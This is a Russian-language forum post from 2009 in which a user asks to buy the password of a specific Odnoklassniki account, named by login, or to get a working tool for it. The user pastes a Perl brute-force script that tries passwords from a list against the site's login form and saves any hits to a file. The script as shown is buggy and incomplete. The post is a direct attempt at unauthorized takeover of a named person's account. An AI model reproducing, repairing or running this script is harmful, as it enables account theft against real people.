1. Внимание! Строго запрещен ап своих тем чаще чем раз в 7 дней! Если ваши услуги/товары никому не интересны - UP вам не поможет! Хотите чтобы тема была сверху всегда - оплачивайте закрепление!

[Другое] Акк одноклассники

Тема в разделе "Рекламный раздел", создана пользователем lexmuse, 30 мар 2009.

Информация :
Статус темы:
Закрыта.
  1. lexmuse

    lexmuse Создатель

    Регистр.:
    13 май 2008
    Сообщения:
    38
    Симпатии:
    5
    Нужен пасс для акк в одноклассниках
    есть логин пароль состоит из цифр 8 знаков максимум
    Сколько будет стоить?

    Или подскажите рабочий скрипт...
    Вот мой с ним что-то не то .. не работает .. запускаеться и вырубаеться .. гдето что то не стоит )

    #!c:\\perl\\bin
    use strict;
    use WWW::Mechanize;
    use HTTP::Cookies;

    use LWP::UserAgent;
    use Getopt::Std;
    use threads;

    open (FP , '<pass.txt') || die ("No password list! \n"); # Пароли в pass.txt
    my @pass = <FP>;
    close FP;

    my $email = 'artemiev_77'; # МЫЛО!

    my $i=0;
    my @thr;

    for (@pass)
    {
    my $nowpass = $_;

    chomp @pass;
    if($thr[$i]) {threads->object($thr[$i]->tid())->join;}
    $thr[$i]=threads->create(\&brute,$email,$nowpass);

    $i=($i+1) % 1; #Количество потоков (1)

    }

    foreach(threads->list) { $_->join; }


    sub brute()
    {


    my $url = "http://www.odnoklassniki.ru/";
    my $mech = WWW::Mechanize->new( cookie_jar => undef );


    $mech->get($url);


    $mech->submit_form(
    form_number => 1,
    fields => {
    'st.email' => $_[0],
    'st.password' => $_[1],
    'st.posted' =>'set',

    });



    if ($output_page =~ /userMain/ )
    {
    print "[+]OK $_[0]:$_[0]\n";
    open (G , '>>good.txt');
    print G $_[1].":".$_[0]."\n";
    close G;
    die ('PASSWORD FOUND!!!!!\n\n\n');
    }
    else
    {
    print "[-] BAD $_[1]\n";


    }}
     
Статус темы:
Закрыта.